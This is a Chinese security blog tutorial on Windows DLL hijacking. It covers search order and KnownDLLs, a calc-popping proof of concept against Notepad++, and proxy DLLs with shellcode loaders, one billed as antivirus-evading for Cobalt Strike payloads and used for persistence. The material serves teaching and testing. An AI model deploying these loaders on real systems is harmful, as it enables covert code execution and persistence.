千寻笔记:DLL劫持初探

admin 2022年3月23日13:32:01评论41 views字数 5263阅读17分32秒阅读模式


千寻笔记:DLL劫持初探
0x001 什么是DLL
千寻笔记:DLL劫持初探

Dll(动态链接库)作为 windows 的函数库,有助于促进代码的模块化、代码重用、有效的内存使用并减少磁盘空间;一个应用程序运行时可能需要依赖于多个 dll 的函数才能完成功能,如果控制其中任一dll,那么便可以控制该应用程序的执行流程。

Linux下静态库名字一般是: libxxx.a  windows则是: *.lib*.h

Linux下动态库名字一般是: libxxx.so windows则是: .dll.OCX(..etc)


千寻笔记:DLL劫持初探
0x02 尝试编写dll
千寻笔记:DLL劫持初探

1.VS2017,新建DLL项目

千寻笔记:DLL劫持初探

  2. 初始dll文件

千寻笔记:DLL劫持初探

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule, // 模块句柄 DWORD ul_reason_for_call, // 调用原因 LPVOID lpReserved // 参数保留 ){ switch (ul_reason_for_call) // 根据调用原因选择不不同的加载方式 { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}

dllmain.cpp文件下引入Windows.h库, 编写一个msg的函数。

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#include <Windows.h>
void msg() { MessageBox(0, L"Dll Load successful!", 0, 0);}
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}

然后需要在头文件framework.h中导出msg函数

#pragma once
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容// Windows 头文件#include <windows.h>
extern "C" __declspec(dllexport) void msg(void)

_declspec是关键字,用于表示该函数、变量时导出、导入的,括号里dllexport意为其将要导出,dllimport意为其将要导入。

extern "C"用于指定编译器编译后的函数别名,这样使用时才能正确查找到。即对于变量extern int a;这样的直接写为extern "C" int a;即可,函数同理。

然后进行编译,得到dlldemo.dll


千寻笔记:DLL劫持初探
0x03 调用dll
千寻笔记:DLL劫持初探

新建项目,编译生成test.exe

// test.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。#include <iostream>#include <Windows.h>using namespace std;
int main(){ // 定义一个函数类DLLFUNC typedef void(*DLLFUNC)(void); DLLFUNC GetDllfunc = NULL; // 指定动态加载dll库 HINSTANCE hinst = LoadLibrary(L"dlldemo.dll"); if (hinst != NULL) { // 获取函数位置 GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg"); } if (GetDllfunc != NULL) { //运行msg函数 (*GetDllfunc)(); }}

成功调用dlldemo.dll

千寻笔记:DLL劫持初探



千寻笔记:DLL劫持初探
0x04 Dll劫持漏洞
千寻笔记:DLL劫持初探

原理

如果在进程尝试加载一个DLL时没有并没有指定DLL的绝对路径,那么Windows会尝试去按照顺序搜索这些特定目录来查找这个DLL,如果攻击者能够将恶意的DLL放在优先于正常DLL所在的目录,那么就能够欺骗系统去加载恶意的DLL,形成"dll劫持"。

DLL路径搜索目录顺序

1.应用程序加载的目录

2.系统目录,使用 GetSystemDirectory 获取该路径

3.16 位系统目录

4.Windows 目录,使用 GetWindowsDirectory 获取该路径

5.当前目录

6.PATH 环境变量中列出的目录

Know DLLs注册表项

从Windows7 之后, 微软为了更进一步的防御系统的DLL被劫持,将一些容易被劫持的系统DLL写进了一个注册表项中,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用。

默认情况HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerSafeDllSearchMode 处于开启状态;如果手动设置为 0,关闭该安全选项,搜索顺序为:在以上顺序基础上,将 5.当前目录 修改至 2.系统目录 的位置,其他顺移。

注册表路径如下:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs

千寻笔记:DLL劫持初探


另外当应用程序加载 dll 时如果仅指定 dll 名称时,那么将按照以上顺序搜索 dll 文件,不过在加载之前还需要满足以下两条规范:

  • 当内存中已加载相同模块名称的 dll 时,系统将直接加载该 dll,不会进行搜索;除非设置了 dll 重定向选项;

  • 如果要加载的 dll 模块属于 Known DLLs,系统直接加载系统目录下的该 dll,不会进行搜索。


Windows操作系统通过“DLL路径搜索目录顺序”和“Know DLLs注册表项”来确定应用程序所要调用的DLL的路径,当一个进程尝试加载一个dll的时候,会先尝试搜索程序所处的目录,如果没有找到,则搜索系统即 SYSTEM32 目录,若还没有找到,则向下搜索16位系统目录即 SYSTEM 目录,然后Windows目录,当前目录,Path环境变量的各个目录。

千寻笔记:DLL劫持初探


这样的加载顺序很容易就会导致一个系统的dll被劫持,只要攻击者将目标文件和恶意dll放在一起即可,导致恶意dll搜索顺序优先于系统dll目录加载,就能够欺骗系统去加载恶意的DLL,形成"dll劫持"。

手动劫持

NotePad++(6.6.6)

用到的工具:Process Monitor v3.60

通过 Process Monitor 监控dll调用是一种最基础的寻找dll劫持的方式

设置过滤规则: (默认的不需要改变)

Path ends with .dllResult is NAME NOT FOUNDProcess Name contains notepad++.exe

千寻笔记:DLL劫持初探

然后这里找一个需要用到loadlibrary这个api的dll,这里找有这个api的原因是因为如果该dll的调用栈中存在有 **LoadLibrary(Ex)**,说明这个DLL是被进程所动态加载的。在这种利用场景下,伪造的DLL文件不需要存在任何导出函数即可被成功加载,即使加载后进程内部出错,也是在DLL被成功加载之后的事情。

LoadLibrary和LoadLibraryEx一个是本地加载,一个是远程加载,如果DLL不在调用的同一目录下,就可以使用LoadLibrary(L"DLL绝对路径")加载。但是如果DLL内部又调用一个DLL,就需要使用LoadLibraryEx进行远程加载,语法如下:

LoadLibraryEx(“DLL绝对路径”, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);

LoadLibraryEx的最后一个参数设置为LOAD_WITH_ALTERED_SEARCH_PATH即可让系统dll搜索顺序从我们设置的目录开始

千寻笔记:DLL劫持初探

找到可以被劫持的dll文件后,我们需要编写恶意dll

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#include <stdlib.h>
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: system("calc"); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }

然后编译生成恶意dll,并放到Notepad++的根目录下

千寻笔记:DLL劫持初探

运行Notepad++.exe便会弹出计算器

千寻笔记:DLL劫持初探

EasyConnectInstaller(7.6.1.1)

千寻笔记:DLL劫持初探

转发劫持

使用恶意 dll 替换原文件,应用程序便可以加载我们的 dll 并执行恶意代码,但是应用程序运行依赖于 dll 提供的函数,恶意 dll 必须提供相同的功能才能保证应用程序的正常运行。这里利用了aheadlib工具,进行直接转发函数。

千寻笔记:DLL劫持初探

权限维持

1.这里利用到的测试环境是之前自己写的testDll.exe,进行直接转发函数,尝试加载shellcode(不免杀)

千寻笔记:DLL劫持初探

#include "pch.h"#include <Windows.h>#include <stdlib.h>#include <stdio.h>
//导出函数#pragma comment(linker, "/EXPORT:msg=fkdllorg.msg")
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){ if (dwReason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); unsigned char buf[] ="shellcode" size_t size = sizeof(buf); char* inject = (char *)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(inject, buf, size); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)inject, 0, 0, 0); } else if (dwReason == DLL_PROCESS_DETACH) { } return TRUE;}

千寻笔记:DLL劫持初探

千寻笔记:DLL劫持初探


2.shellcode写内存(免杀)

CS生成RAW Payload,然后读取shellcode,申请内存,写内存,执行函数

#include "pch.h"#include <Windows.h>#include <stdlib.h>#include <stdio.h>
//导出函数#pragma comment(linker, "/EXPORT:msg=fkdllorg.msg")
DWORD WINAPI DoMagic(LPVOID lpParameter){ FILE* fp; size_t size; unsigned char* buffer;
fp = fopen("payload.bin", "rb"); fseek(fp, 0, SEEK_END); size = ftell(fp); fseek(fp, 0, SEEK_SET); buffer = (unsigned char*)malloc(size);
fread(buffer, size, 1, fp);
void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, buffer, size);
((void(*) ())exec)();
return 0;}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: HANDLE threadHandle; threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}

千寻笔记:DLL劫持初探千寻笔记:DLL劫持初探


千寻笔记:DLL劫持初探
END
千寻笔记:DLL劫持初探

监制:船长、铁子   策划:格纸   文案:NaNNNNNN   美工:青柠



原文始发于微信公众号(千寻安服):千寻笔记:DLL劫持初探

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月23日13:32:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   千寻笔记:DLL劫持初探https://cn-sec.com/archives/837022.html

发表评论

匿名网友 填写信息